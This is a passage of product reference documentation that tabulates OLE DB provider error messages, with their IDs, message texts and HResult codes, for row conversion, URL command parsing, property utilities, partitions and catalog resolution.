MSCOP_E_CRowUI1ConversionError | Cannot size conversion from DBTYPE UI1 to dest CSOLEDB type %1 | 0xCA318007L
MSCOP_E_CRowI4ConversionError | Cannot size conversion from DBTYPE I4 to dest CSOLEDB type %1 | 0xCA318008L
MSCOP_E_CRowI8ConversionError | Cannot size conversion from DBTYPE I8 to dest CSOLEDB type %1 | 0xCA318009L
MSCOP_E_CRowR8ConversionError | Cannot size conversion from DBTYPE R8 to dest CSOLEDB type %1 | 0xCA31800AL
MSCOP_E_CRowR4ConversionError | Cannot size conversion from DBTYPE R4 to dest CSOLEDB type %1 | 0xCA31800BL
MSCOP_E_CRowDataSizeConversionError | DataSize(pCol) - attempting to size DBTYPE %1 | 0xCA31800CL
MSCOP_E_CRowMVSizeError | Error sizing a multi-val property | 0xCA31800DL
MSCOP_E_CRowUnknownType | CRowHeader::CopyData(), Unknown kVT type %1 | 0xCA31800EL
MSCOP_E_CRowDBCOLUMNACCESSUnknownType | CRowHeader::CopyData(DBCOLUMNACCESS), Unknown kVT type %1 | 0xCA31800FL
MSCOP_E_CRowDBCOLUMNACCESSFailedSettingType | CRowHeader::CopyData(DBCOLUMNACCESS), failed setting kVT type %1 | 0xCA318010L
MSCOP_E_CRowConvertErrorCodeToStatus | CRowHeader::ConvertErrorCodeToStatus(), Unknown error code : %1 | 0xCA318011L
MSCOP_E_CRowCopyMVDataUnknownType | CRowHeader::CopyMVData(), unknown type %1 | 0xCA318012L
MSCOP_E_CRowDataSizeUnknownType | CRowHeader::DataSize(), unknown type %1 | 0xCA318013L
MSCOP_E_CrowReferenceDefaultValueNotSupported | Multi-value and reference default values not supported | 0xCA318014L
MSCOP_E_CRowTypeNotSupportedAsDefault | EType %1 as default value not supported | 0xCA318015L
MSCOP_E_CrowConsolidateBuffersNotImplemented | Attempting to ConsolidateBuffers -- not implemented yet | 0xCA318016L
MSCOP_E_CRowInvalidIDSize | Invalid ID size. Valid sizes are 0, 1, & 2 (%1) | 0xCA318017L
MSCOP_E_CRowDBCOLUMNACCESSGroupCreate | CRow::SetDBCOLUMNACCESS(), Can't create a group | 0xCA318018L
MSCOP_E_CRow_OutOfBuffers | Internal representation for the Row object has run out of memory buffers. Please release the object and retry operation. | 0xCA318019L


OLE DB URL Command Error Messages

Error Messages

Message ID | Message Text | HResult
MSCOP_E_URLCmdsNoWildCard | Member names expected, '*' is not allowed for order by arguments | 0xCA2D8001L
MSCOP_E_URLCmdsOrderByNoMembers | 'order by' must be followed by valid member names | 0xCA2D8002L
MSCOP_E_URLCmdsUnknownValue | Error Unknown Value (as type %1) | 0xCA2D8003L
MSCOP_E_URLCmdsMemsErrorOpenParen | Error: ParseMemListInParen(), expecting '(', url: %1 | 0xCA2D8004L
MSCOP_E_URLCmdsMemsErrorCloseParen | Error: ParseMemListInParen(), expecting ')', url: %1 | 0xCA2D8005L
MSCOP_E_URLCmdsParseMemberFailed | ParseMemberNames(), error parsing member name. url: %1 | 0xCA2D8006L
MSCOP_E_URLCmdsValSetErrorOpenParen | Error: ParseValueSet(), expecting '(' for after IN, url: %1 | 0xCA2D8007L
MSCOP_E_URLCmdsValSetMultiValInVal | IN values cannot have multi-values (%1) | 0xCA2D8008L
MSCOP_E_URLCmdsValSetParseFailure | URLCommand::ParseValueSet(), Could not parse value %1 (%2) | 0xCA2D8009L
MSCOP_E_URLCmdsValSetErrorCloseParen | Error expecting ',' or ')' after value %1 (%2) | 0xCA2D800AL
MSCOP_E_URLCmdsValSetTooManyValuesInSet | Too many values in set - max count is %1 | 0xCA2D800BL
MSCOP_E_URLCmdsParseCSVValuesListExpectedValue | Error: Expected value. SCODE: %1 | 0xCA2D800CL
MSCOP_E_URLCmdsParseCSVValuesListFailedRetrievingValue | Error retrieving value (%1) | 0xCA2D800DL
MSCOP_E_URLCmdsParseCSVValuesSetListSetValueFailure | Error setting value into Row (%1) | 0xCA2D800EL
MSCOP_E_URLCmdsParseCSVValuesSetListSetMemberFailure | URLCommand::ParseCSVValuesList(), Could not set member %1 into the row. type : %2, url : %3 | 0xCA2D800FL
MSCOP_E_URLCmdsParseMemberExpectedMember | Error: expecting member name, url: %1 | 0xCA2D8010L
MSCOP_E_URLCmdsValidateMemberStringTooLong | URLCommand::ValidateMember, String length too long for %1 (max=%2) | 0xCA2D8011L
MSCOP_E_URLCmdsParseSimplExprExpectingRelationalOperator | Error: ParseSimplExpr(), expecting relational operator, url: %1 | 0xCA2D8012L
MSCOP_E_URLCmdsParseSimplExprConversionFailure | Error: ParseSimplExpr(), Couldn't convert value for member %1, url: %2 | 0xCA2D8013L
MSCOP_E_URLCmdsParseSimplExprMultiValNotSupported | Error: Multi-values are not supported inside expressions for member %1, url: %2 | 0xCA2D8014L
MSCOP_E_URLCmdsParseSimplExprMemberValidationFailed | Error: ParseSimplExpr(), Member validation failed, hr: %1, url: %2 | 0xCA2D8015L
MSCOP_E_URLCmdsParseSimplExprConstructNodeFailure | Error: ParseSimplExpr(), Failed to construct simple expression node. hr: %1, url: %2 | 0xCA2D8016L
MSCOP_E_URLCmdsParseSimplExprToSimpleFailure | Error: ParseSimplExpr(), ToSimple failed, hr: %1, url: %2 | 0xCA2D8017L
MSCOP_E_URLCmdsAddMemberFailed | ParseMemberNames(), couldn't add %1 to the member list | 0xCA2D8018L
MSCOP_E_URLCmdsParseExprNodeOpenParen | Error: ParseExprNode(), expecting '(', url: %1 | 0xCA2D8019L
MSCOP_E_URLCmdsParseExprNodeNestedExpressions | Error: ParseExpr(), too many nested expression terms, url: %1 | 0xCA2D801AL
MSCOP_E_URLCmdsParseExprNodeBadWHEREClause | Error: ParseExpr(), invalid query - bad WHERE clauses, hr: %1, url: %2 | 0xCA2D801BL
MSCOP_E_URLCmdsParseClassDefClassNotFound | URLCommand::ParseClassDef(), Could not find class '%1' | 0xCA2D801CL
MSCOP_E_URLCmdsAddUrlCmdMapEntryCommandNoMismatch | AddUrlCmdMapEntry(), command number mismatch, name: %1, new cmd#: %2, cmd#: %3 | 0xCA2D801DL
MSCOP_E_URLCmdsAddUrlCmdMapEntryFunctionAddrMismatch | AddUrlCmdMapEntry(), func address mismatch, name: %1 | 0xCA2D801EL
MSCOP_E_URLCmdsCreateCmdCommandNotRegistered | Command: '%1' not registered | 0xCA2D801FL
MSCOP_E_URLCmdsExtractValsOnlyAND | Only AND is supported in complex expressions (for example, WHERE x > 1 AND y < 1) | 0xCA2D8020L
MSCOP_E_URLCmdsExtractValsMemberInfoAllocationFailure | Error allocating new MemberInfo structure | 0xCA2D8021L
MSCOP_E_URLCmdsExtractValsMemberInfoListAddFailure | Error adding MemberInfo to list | 0xCA2D8022L
MSCOP_E_URLCmdsParseInsertParseFailed | ParseInsert(), Failed to parse INSERT query. url : %1, SCODE: %2 | 0xCA2D8023L
MSCOP_E_URLCmdsParseInsertBadClass | INSERT statement had a bad class name - url : %1 | 0xCA2D8024L
MSCOP_E_URLCmdsParseInsertBadMember | INSERT statement had bad member clause | 0xCA2D8025L
MSCOP_E_URLCmdsParseInsertNoVALUESClause | INSERT statement had no VALUES clause | 0xCA2D8026L
MSCOP_E_URLCmdsParseInsertCreateRowFailed | ParseInsert(), Could not create row (%1) - url: %1 | 0xCA2D8027L
MSCOP_E_URLCmdsParseInsertNotSupported | INSERT statement not supported | 0xCA2D8028L
MSCOP_E_URLCmdsParseInsertBadVALUESClause | INSERT statement had bad VALUES (%1) | 0xCA2D8029L
MSCOP_E_URLCmdsInsertVALUESNeedsParens | INSERT VALUES must have parenthesis to delimit values | 0xCA2D802AL
MSCOP_E_URLCmdsExpectingEqual | Error: Expecting '=' operator in SET clause, url: %1 | 0xCA2D802BL
MSCOP_E_URLCmdsValueParsingError | Error parsing value %1 | 0xCA2D802CL
MSCOP_E_URLCmdsValueSetError | Error setting value into Row (%1) | 0xCA2D802DL
MSCOP_E_URLCmdsSetNoResultsCommandEOM | SetNoResultsCommand(), Error allocating MultipleResults object - Out of memory | 0xCA2D802EL
MSCOP_E_URLCmdsSetNoResultsCommandInitFailure | SetNoResultsCommand(), Error Initializing Multiple Results Object (%1) | 0xCA2D802FL
MSCOP_E_URLCmdsParseUpdateBadClass | UPDATE statement had a bad class name | 0xCA2D8030L
MSCOP_E_URLCmdsParseUpdateNoSET | UPDATE statement had no SET | 0xCA2D8031L
MSCOP_E_URLCmdsParseUpdateRowCreateFailure | ParseUpdate(), Error while creating internal Row | 0xCA2D8032L
MSCOP_E_URLCmdsParseUpdateNoWHEREClause | ParseUpdate(), UPDATE expecting WHERE. url: %1 | 0xCA2D8033L
MSCOP_E_URLCmdsParseUpdateNoSETClause | ParseUpdate(), Error parsing SET values (%1) - url : %2 | 0xCA2D8034L
MSCOP_E_URLCmdsPerformStorageNoJoinKey | Can't %1 into a class without a join key | 0xCA2D8035L
MSCOP_E_URLCmdsPerformStorageUpdateFailed | PerformStorageAction(), Could not perform single instance UPDATE operation (%1) | 0xCA2D8036L
MSCOP_E_URLCmdsParseUnknownObjectType | Unknown object type requested in query, url: %1 | 0xCA2D8037L
MSCOP_E_URLCmdsParseFailure | Failure in parsing an URL command, hr: %1, url: %2 | 0xCA2D8038L
MSCOP_E_URLCmdsValidateMembersAddFailure | ValidateMembers(), Could not add member %1 in class %2 to memlist (%3) | 0xCA2D8039L
MSCOP_E_URLCmdsValidateMembersMemberNotFound | ValidateMembers(), Could not find member %1 in class %2 | 0xCA2D803AL
MSCOP_E_URLCmdsLoadInstNoKeyInClass | Can't perform a SELECT operation on a class without key (ClassName: %1, Command: %2) | 0xCA2D803BL
MSCOP_E_URLCmdsParseSelectEOM | Out of Memory in Select | 0xCA2D803CL
MSCOP_E_URLCmdsParseSelectAddElementFailed | Error adding element %1 in SELECT clause | 0xCA2D803DL
MSCOP_E_URLCmdsParseWhereEOM | Out of Memory in Select | 0xCA2D803EL
MSCOP_E_URLCmdsParseWhereAddElementFailed | Error adding element %1 in WHERE clause | 0xCA2D803FL
MSCOP_E_URLCmdsParseWhereAddElementInBracketsFailed | Error adding element %1%2 in where clause | 0xCA2D8040L
MSCOP_E_URLCmdsParseWhereInvalidRelationOperator | Invalid Relational Operator specified in delete where clause | 0xCA2D8041L
MSCOP_E_URLCmdsParseWhereRelationOperator | Relational operator can not be applied to existing where path: %1 | 0xCA2D8042L
MSCOP_E_URLCmdsParseWhereInvalidMember | Invalid NULL member specified in where clause | 0xCA2D8043L
MSCOP_E_URLCmdsParseWhereValueConversionError | Error: in where clause, Couldn't convert value for member %1, url: %2 | 0xCA2D8044L
MSCOP_E_URLCmdsParseWhereInvalidMVMember | Error: Multi-values are not supported inside expressions for member %1, url: %2 | 0xCA2D8045L
MSCOP_E_URLCmdsParseWhereInvalidWHEREClause | Invalid where clause | 0xCA2D8046L
MSCOP_E_URLCmdsParseWhereOnlyAND | Only 'AND' is supported in where clauses. | 0xCA2D8047L
MSCOP_E_URLCmdsParseWhereParseError | Error parsing where. Statement: %1, SchemaVer : %2 | 0xCA2D8048L
MSCOP_E_URLCmdsDeleteInstParseFailed | DeleteInst(), Failed to parse DELETE query. url: %1, SCODE: %2 | 0xCA2D8049L
MSCOP_E_URLCmdsDeleteInstGUIDCreateFailed | Delete operation failed to create an instance of a new guid (%1) | 0xCA2D804AL
MSCOP_E_URLCmdsDeleteInstBadWHEREClause | Malformed WITH clause. | 0xCA2D804BL
MSCOP_E_URLCmdsDeleteInstBadClauses | WITH TRUNCATE and a WHERE clause are not allowed in the same statement | 0xCA2D804CL
MSCOP_E_URLCmdsDeleteInstFailed | Delete operation failed. Statement: %1, SchemaVer: %2, GuidContext: %3 | 0xCA2D804DL
MSCOP_E_URLCmdsDoQueryGROUPNoBY | GROUP Keyword specified without BY. | 0xCA2D804EL
MSCOP_E_URLCmdsDoQueryORDERNoBY | ORDER Keyword specified without BY. | 0xCA2D804FL
MSCOP_E_URLCmdsDoQueryBadClauses | Select statement has unsupported clauses, or incorrect ordered clauses. | 0xCA2D8050L
MSCOP_E_URLCmdsDoQuerySELECTFailed | Select operation failed. Statement: %1, hr=%2 | 0xCA2D8051L
MSCOP_E_URLCmdsDoQueryMemberListParsing | Error in member list parsing, hr: %1, url: %2 | 0xCA2D8052L
MSCOP_E_URLCmdsDoQueryParsingWHEREOrORDER | Error in where/order by parsing, hr: %1, url: %2 | 0xCA2D8053L
MSCOP_E_URLCmdsDoQueryAggregatorFailed | Aggregator failed in performing query, hr: %1, url: %2 | 0xCA2D8054L
MSCOP_E_URLCmdsParseNoSrcDef | Source Attribute command could not find source definition name %1 | 0xCA2D8055L
MSCOP_E_URLCmdsParseNotInSchemaChangeMode | Schema Change Mode is required to create a new source attribute | 0xCA2D8056L
MSCOP_E_URLCmdsParseNoAttributeName | Source Attribute command expecting attribute name | 0xCA2D8057L
MSCOP_E_URLCmdsCmdClsAttribClsDefNotFound | Class Attribute command could not find class definition name %1 | 0xCA2D8058L
MSCOP_E_URLCmdsCmdClsAttribScheamaNotInSchemaChangeMode | Schema Change Mode is required to create a new class attribute | 0xCA2D8059L
MSCOP_E_URLCmdsCmdClsAttribNoAttributeName | Class Attribute command expecting attribute name | 0xCA2D805AL
MSCOP_E_URLCmdsCmdClsAttribNoClassName | Class Attribute command expecting class name | 0xCA2D805BL
MSCOP_E_URLCmdsCmdClsDefParseNoClassName | Parse(), missing class name, url:%1 | 0xCA2D805CL
MSCOP_E_URLCmdsCmdMemAttribParseNoMemberName | Member Attribute command could not find member definition name %1 | 0xCA2D805DL
MSCOP_E_URLCmdsCmdMemAttribNotInSchemaChangeMode | Schema Change Mode is required to create a new member attribute | 0xCA2D805EL
MSCOP_E_URLCmdsCmdMemAttribNoAttributeName | Member Attribute command expecting attribute name | 0xCA2D805FL
MSCOP_E_URLCmdsCmdMemAttribNoMemberName | Member Attribute command expecting member name | 0xCA2D8060L
MSCOP_E_URLCmdsCmdMemAttribNoClassName | Member Attribute command expecting class name | 0xCA2D8061L
MSCOP_E_URLCmdsCmdPartitionNoClassName | Partition def command could not find associated class def name %1 | 0xCA2D8062L
MSCOP_E_URLCmdsCmdPartitionNotInSchemaChangeMode | Partition Def '%1' not found. Cannot create new Partition Def when schema change mode not enabled | 0xCA2D8063L
MSCOP_E_URLCmdsCmdPartitionBadClassName | The Class name '%1' is not associated with the partition '%2'. Current class is '%3'. | 0xCA2D8064L
MSCOP_E_URLCmdsRelMemParseRelMemName | Error parsing the relation member name for URL '%1'. Command syntax is 'KeyMember/<Key-Name>/<Key-Member-Name>'. | 0xCA2D8065L
MSCOP_E_URLCmdsCmdGroupMemNoGroupMember | Group Member command could not find member group definition name %1 | 0xCA2D8066L
MSCOP_E_URLCmdsCmdGroupMemNotAGroup | Member %1 is not a group or subgroup | 0xCA2D8067L
MSCOP_E_URLCmdsCmdGroupMemNoMember | Group Member command could not find member definition name %1 | 0xCA2D8068L
MSCOP_E_URLCmdsCmdGroupMemNotFound | Group %1 not found. Cannot create new group when schema change mode not enabled | 0xCA2D8069L
MSCOP_E_URLCmdsCmdGroupMemNoMemberName | Group Member command expecting Member name | 0xCA2D806AL
MSCOP_E_URLCmdsCmdGroupMemNoGroupMemberName | Group Member command expecting Group member name | 0xCA2D806BL
MSCOP_E_URLCmdsCmdGroupMemNoClassName | Group Member command expecting class name | 0xCA2D806CL
MSCOP_E_URLCmdsCmdColDefNoTblDef | Column def command could not find associated table def name %1 | 0xCA2D806DL
MSCOP_E_URLCmdsCmdColDefNotInSchemaChangeMode | Column %1 not found. Cannot create new column when schema change mode not enabled | 0xCA2D806EL
MSCOP_E_URLCmdsCmdColDefBadTableName | The column '%1' is not associated with the table '%2'. Current table is '%3'. | 0xCA2D806FL
MSCOP_E_URLCmdsCmdCmdConnectParseBadConnectionString | In CmdConnect::Parse(), Missing catalog/catalog db name/catalog db server name, Server: %1, Database: %2, UserID: %3 | 0xCA2D8070L
MSCOP_E_URLCmdsCmdSynchOLEDBPropertiesNoUser | Error retrieving User from OLE DB Properties (%1) | 0xCA2D8071L
MSCOP_E_URLCmdsCmdSynchOLEDBPropertiesNoPassword | Error retrieving Password from OLE DB Properties (%1) | 0xCA2D8072L
MSCOP_E_URLCmdsCmdBulkNoINSERT | BULK statement had no INSERT | 0xCA2D8073L
MSCOP_E_URLCmdsCmdBulkBadClassName | BULK INSERT statement had a bad class name | 0xCA2D8074L
MSCOP_E_URLCmdsCmdBulkNoFROM | BULK INSERT statement had no FROM clause | 0xCA2D8075L
MSCOP_E_URLCmdsCmdBulkNoDataFile | BULK INSERT statement had no data file name | 0xCA2D8076L
MSCOP_E_URLCmdsCmdBulkNoFormatFile | BULK INSERT statement -- syntax error, no format file name | 0xCA2D8077L
MSCOP_E_URLCmdsCmdBulkInitializationFailed | BULK INSERT statement failed to initialize bulk load command (%1) | 0xCA2D8078L
MSCOP_E_URLCmdsCmdBulkDataInitializationFailed | BULK INSERT statement failed to initialize load data (%1) | 0xCA2D8079L
MSCOP_E_URLCmdsCmdBulkDataFormatFileFailure | Failed processing the data format file: %1 | 0xCA2D807AL
MSCOP_E_URLCmdsCmdBulkDataFormat0Columns | Error: Zero number of columns in format file, format file: %1 | 0xCA2D807BL
MSCOP_E_URLCmdsCmdBulkImportFailed | Failed importing the data file: % | 0xCA2D807CL
MSCOP_E_URLCmdsCmdBulkDataFileInitFailed | Failed initializing the data file: %1 | 0xCA2D807DL
MSCOP_E_URLCmdsCmdFactNamesDeleteHelperCreateFailed | Creating a delete helper row for FactNames command (%1) | 0xCA2D807EL
MSCOP_E_URLCmdsCmdDimensionNamesDeleteHelperCreateFailed | Creating a delete helper row for DimensionNames command (%1) | 0xCA2D807FL
MSCOP_E_URLCmdsCmdRelationNamesDeleteHelperCreateFailed | Creating a delete helper row for RelationNames command (%1) | 0xCA2D8080L
MSCOP_E_URLCmdsCmdClassNamesDeleteHelperCreateFailed | Creating a delete helper row for ClassNames command (%1) | 0xCA2D8081L
MSCOP_E_URLCmdsCmdDeleteAllBadWITHClause | Malformed WITH clause for DeleteAll. | 0xCA2D8082L
MSCOP_E_URLCmdsCmdDeleteAllBad | Malformed command DeleteAll. | 0xCA2D8083L
MSCOP_E_URLCmdsCmdDeleteAllGUIDCreationFailed | DeleteAll operation failed to create an instance of a new guid (%1) | 0xCA2D8084L
MSCOP_E_URLCmdsCmdDeleteAllFailure | Problem executing DeleteAll. hr = %1 | 0xCA2D8085L
MSCOP_E_URLCmdsCmdDelDateClsNamesDeleteHelperCreateFailed | Creating a delete helper row for DelDateClsNames (%1) | 0xCA2D8086L
MSCOP_E_URLCmdsCmdExpandClassNameInvalidClass | 'ExpandClassName <ClassName> <Number of Levels>' command invalid class name | 0xCA2D8087L
MSCOP_E_URLCmdsCmdExpandClassNameInvalidLevels | 'ExpandClassName <ClassName> <Number of Levels>' command invalid number of levels | 0xCA2D8088L
MSCOP_E_URLCmdsCmdExpandClassNamesDeleteHelperCreateFailed | Creating a delete helper row for ExpandClassNames (%1) | 0xCA2D8089L
MSCOP_E_JoinKeyInUpdateSetClause | Cannot update a member that's designated a JoinKey (Member: '%1', URL: '%2'). | 0xCA2D808AL
MSCOP_E_SchemaChangeModeEnabled | OutputBase = 16 The command '%1' requires Schema Change Mode to be disabled. | 0xCA2D808BL
MSCOP_E_CommitFail | Cannot commit non-schema change session. | 0xCA2D808CL
MSCOP_E_URLCmdsParseSimplExprInvalidMemberType | An invalid member type was encountered in the expression. Expressions with longtext, binary and image types are not supported. | 0xCA2D808DL


OLE DB Property Utility Error Messages

Error Messages

Message ID | Message Text | HResult
MSCOP_E_CPropUtilGetPropertyTypeMismatchLONG | CPropUtil::GetPropertyLONG(), Type Mismatch | 0xCA218001L
MSCOP_E_CPropUtilGetPropertyTypeMismatchBOOL | CPropUtil::GetPropertyBOOL(), Type Mismatch | 0xCA218002L
MSCOP_E_CPropUtilGetPropertyTypeMismatchWSTR | CPropUtil::GetPropertyWSTR(), Type Mismatch | 0xCA218003L
MSCOP_E_CPropUtilPropertySetNotFound | CPropUtil::SetBoolProp(), Could not find property set %1 | 0xCA218004L
MSCOP_E_CPropUtilSetBoolPropertyTypeMismatch | CPropUtil::SetBoolProp(), Type mismatch - %1 (Expecting %2) | 0xCA218005L
MSCOP_E_CPropUtilPropertyStingsNotInitialized | Could not initialize the property strings for %1 | 0xCA218006L
MSCOP_E_CPropUtilInternalPropertyNotFound | Could not find internal property %1 (Propset %2) | 0xCA218007L
MSCOP_E_CPropUtilNonCopyPropertyCloning | Cloning array properties in non-copy | 0xCA218008L
MSCOP_E_CPropUtilEmptyPropertyDescriptionString | Description string for Property ID %1 is empty | 0xCA218009L
MSCOP_E_CPropUtilSetPropertyFailure | Trying to set property ID %1 (%2, vt=%3, uservt=%4, opts=%5, useropt=%6), for property set %7 (Type=%8) | 0xCA21800AL
MSCOP_E_CPropUtilLoadMeasageDLLFailure | Could not load the message DLL %1 (%2) | 0xCA21800BL

Messages for AggContainer

Message ID | Message Text | HResult
MSCOP_E_AggContainerWrongTypeForExpressionMember | Wrong type for expression member: %1 | 0xCA048001L
MSCOP_E_AggContainerErrorCreatingNewpUriData | Error creating new pUriData status=%1 | 0xCA048002L
MSCOP_E_AggContainerParseLevelDirsFailure | ParseLevelDirs() failure status=%1 | 0xCA048003L
MSCOP_E_AggContainerUpdateMeasureFailure | Failed updating measure: %1 | 0xCA048004L

Messages for CtlgAggResolve

Message ID | Message Text | HResult
MSCOP_E_AggResolveMemberNotDimension | This memeber is not a dimension member. | 0xCA378005L
MSCOP_E_AggResolveMemberNotMeasure | This memeber is not a measure member. | 0xCA378006L
MSCOP_E_AggResolveInvalidBaseClass | Invalid base class for aggregation class: %1 | 0xCA378007L
MSCOP_E_AggResolveMemberAggregationFailed | Failed resolving the member aggregations for aggregation class: %1 | 0xCA378008L
MSCOP_E_AggResolveMemberWithoutExpression | Member: %1 in Class: %2 does not have an expression | 0xCA378009L
MSCOP_E_AggResolveMissingSwitchType | Missing switch type symbol: %1 | 0xCA37800AL
MSCOP_E_AggResolveUnknownSelectorForDatePart | Unknown selector for DatePart: %1 | 0xCA37800BL
MSCOP_E_AggResolveUnknownSelectorForURIPart | Unknown selector for UriPart: %1 | 0xCA37800CL
MSCOP_E_AggResolveUnknownMember | Unknown member name: %1 | 0xCA37800DL


OLE DB Resolve Partitions Error Messages

Error Messages

Message ID | Message Text | HResult
MSCOP_E_ResolvePartitionsSwitchExpressionResolveFailed | ResolvePartitions(), Failed resolving the partition switch expression: %1 for class: %2 | 0xCA378019L
MSCOP_E_ResolvePartitionsPartitionDefResolveFailed | Failed resolving the partition definition: %1 | 0xCA37801AL
MSCOP_E_ResolvePartitionsClassLookupFailed | Error: PartitionDef lookup error while processing Class name: %1. Partition name: %2, SCODE: %3 | 0xCA37801BL
MSCOP_E_ResolvePartitionsAddToClsDefFailed | Error adding Partition: %1 to ClsDef: %2 | 0xCA37801CL
MSCOP_E_ResolvePartitionsMissingSwitchType | Missing switch type symbol: %1 | 0xCA37801DL
MSCOP_E_ResolvePartitionsMissingSelectorForDatePart | Missing selector for DatePart: %1 | 0xCA37801EL
MSCOP_E_ResolvePartitionsUnknownSelectorForDatePart | Unknown selector for DatePart: %1 | 0xCA37801FL
MSCOP_E_ResolvePartitionsMissingMemberForDatePart | Missing member name for DatePart: %1 | 0xCA378020L
MSCOP_E_ResolvePartitionsUnknownMemberForDatePart | Unknown member name for DatePart: %1 | 0xCA378021L
MSCOP_E_ResolvePartitionsUnknownSwitchTypeSymbol | Unknown switch type symbol: %1 | 0xCA378022L


OLE DB Catalog Error Messages

This section contains:

  • OLE DB Catalog Handler Error Messages
  • OLE DB Catalog Resolve Error Messages
  • OLE DB Catalog Resolve To Error Messages
  • OLE DB Catalog Dump Error Messages
  • OLE DB Catalog Filter Resolve Error Messages
  • MbCatalog.cpp Error Messages for the OLE DB
  • Mbictlgchg.cpp Error Messages for the OLE DB
  • CtlgObj.cpp Errors for the OLE DB
  • CtlgObjAccess.cpp Error Messages for the OLE DB
  • CtlgObjClsKeyDef.cpp Error Messages for the OLE DB
  • CtlgObjClsDef.cpp Error Messages for the OLE DB
  • CtlgObjMemDef.cpp Error Messages for the OLE DB
  • CtlgObjRelDef.cpp Error Messages for the OLE DB
  • CtlgObjTbl.cpp Error Messages for the OLE DB
  • OLE DB Catalog Validation Error Messages
  • CtlgPersist.cpp Error Message for the OLE DB


OLE DB Catalog Handler Error Messages

Error Messages

Message ID | Message Text | HResult
MSCOP_E_CtlgHandlerUnknownMember | CtlgClsHandler::OnCreate(), ignoring unknown member in parser class def, cls: %1 %2, mem: %3 | 0xCA378015L
MSCOP_E_CtlgHandlerGetMemInfoByColNameError | CtlgClsHandler::OnCreate(), error from GetMemInfoByColName(), hr: %1, cls: %2 %3, mem: %4 | 0xCA378016L
MSCOP_E_CtlgHandlerMismatch | CtlgClsHandler::OnInst(), handler info mismatch parser class def, cls:%1, line#: %2 | 0xCA378017L
MSCOP_E_CtlgHandlerErrorGettingSettingValues | CtlgClsHandler::OnInst(), error in getting/setting values, cls:%1, line#, mem: %2 | 0xCA378018L


OLE DB Catalog Resolve Error Messages

Error Messages

Message ID | Message Text | HResult
MSCOP_E_ResolveBuffersEOM | Not enough memory to allocate buffers during Catalog Resolve | 0xCA378023L
MSCOP_E_ResolveFailure | Error: failure in catalog resolve, hr: %l1 | 0xCA378024L
MSCOP_E_ResolveNoParentKeyDefinition | Parent key definition, %1, does not exist in attempted auto-generated relation definition, %2, SCODE: %3 | 0xCA378025L
MSCOP_E_ResolveCreateRelDefForChildFailed | Error: Create RelDef instance for Child Class failed during SynthesizeRelDef. Relation name: %1, Class name: %2, SCODE: %3 | 0xCA378026L
MSCOP_E_SynthesizeDefaultRelDefNoKey | Error: No default key in SynthesizeRelDef. Parent class name: %1, Child class name: %2 | 0xCA378027L
MSCOP_E_ResolveCreateDefaultViewFailed | Error: Failed creating default View for Class: %1, SCODE: %2 | 0xCA378028L
MSCOP_E_ResolveDBTableColIndexMapArrayOOM | Not enough memory to allocate a DB table column index mapping array for class %1 | 0xCA378029L
MSCOP_E_ResolveCreateColumnIndexInfoFailed | Failure in CMbCatalog::CreateColumnIndexInfo(), hr: %1, class: %2 | 0xCA37802AL
MSCOP_E_ResolvePartitionDefLookupFailure | Error: PartitionDef lookup error while processing Class name: %1. Partition name: %2, SCODE: %3 | 0xCA37802BL
MSCOP_E_ResolveCorruptRelDefMapByName | Corrupt RelDefMapByName structure found during Catalog Resolve. SCODE: %1 | 0xCA37802CL
MSCOP_E_ResolveTSlotArrayEOM | Not enough memory to allocate TSlotArray during Catalog Resolve. | 0xCA37802DL
MSCOP_E_ResolveDetermineParentClassesFailed | Failure in Catalog::Resolve. DetermineParentClasses failed with error, hr: %1 | 0xCA37802EL
MSCOP_E_ResolveNoKeyMems | Error: No KeyMems defined in Key: %1 | 0xCA37802FL
MSCOP_E_ResolveCreateRelMatrixFailed | Error: Failure in Catalog::CreateRelMatrix, hr = %1, class: %2 | 0xCA378030L
MSCOP_E_ResolveGenerateLinkInfoFailed | GenerateLinkInfo failed for Class: %1, Member: %2, SCODE: %3 | 0xCA378031L
MSCOP_E_ResolveGenerateValInfoFailed | GenerateValInfo failed for Class: %1, Member: %2, SCODE: %3 | 0xCA378032L
MSCOP_E_ResolveValTableLookupFailure | Error: Value Table lookup error while processing multi value Member. Member name: %1, Class name: %2, Value Table name: %3, SCODE: %4 | 0xCA378033L
MSCOP_E_ResolveMVSPGenerationFailed | Error: generation of Multi SP names failed, Member name: %1, Class name: %2, hr: %3 | 0xCA378034L
MSCOP_E_ResolveResolveFullMemNamesFailed | Error: Failed creating ResolveFullMemNames, class: %1, SCODE: %2 | 0xCA378035L
MSCOP_E_ResolveResolveRefMemsFailed | Error: Failed creating ResolveRefMems, class: %1, SCODE: %2 | 0xCA378036L
MSCOP_E_ResolveParentMemColToChildMemMapFailed | Error: Failed creating parent mem col to child mem map: %1, err: %2 | 0xCA378037L
MSCOP_E_ResolveChildMemColToChildMemMapFailed | Error: Failed creating child mem col to child mem map: %1, err: %2 | 0xCA378038L
MSCOP_E_ResolveBuildRelDefsByClassIDMapFailed | BuildRelDefsByClassIDMap(), Too many nested calls | 0xCA378039L
MSCOP_E_ResolveRelDefListsOOM | Not enough memory to allocate RelDefLists by Local ClassID Map | 0xCA37803AL


OLE DB Catalog Resolve To Error Messages

Error Messages

Message ID | Message Text | HResult
MSCOP_E_ResolveCircularReferences | Circular references found in Classes for Catalog: %1 | 0xCA37803BL
MSCOP_E_ResolveParentClassRecursionError | Error in Parent Class recursion for Class: %1 | 0xCA37803CL
MSCOP_E_ResolveCreateParentCreationInfoInvalidChildClassCount | Error: Invalid number of child classes in CreateParentCreationInfo::Create, class: %1 | 0xCA37803DL
MSCOP_E_ResolveCollectParentCreationInfoInvalidRelMatrix | CollectParentCreationInfo(), invalid rel matrix entry, parent: %1, child: %2 | 0xCA37803EL
MSCOP_E_ResolvePersistentMemberPairArrayOOM | Not enough memory to allocate Persistent MemberPairArray during Catalog Resolve. | 0xCA37803FL


OLE DB Catalog Dump Error Messages

Error Messages

Message ID | Message Text | HResult
MSCOP_E_CtlgDumpErrorsFound | %1 Errors found during validation/resolve. Dump skipped. | 0xCA37800EL


OLE DB Catalog Filter Resolve Error Messages

Error Messages

Message ID | Message Text | HResult
MSCOP_E_CtlgFilterMissingSwitchType | Missing switch type symbol: %1 | 0xCA37800FL
MSCOP_E_CtlgFilterUnknownSelectorForDatePart | Unknown selector for DatePart: %1 | 0xCA378010L
MSCOP_E_CtlgFilterUnknownSelectorForURIPart | Unknown selector for UriPart: %1 | 0xCA378011L
MSCOP_E_CtlgFilterUnknownMemberInBaseClass | Unknown member name in Base class: %1 | 0xCA378012L
MSCOP_E_CtlgFilterUnknownMember | Unknown member name: %1 | 0xCA378013L
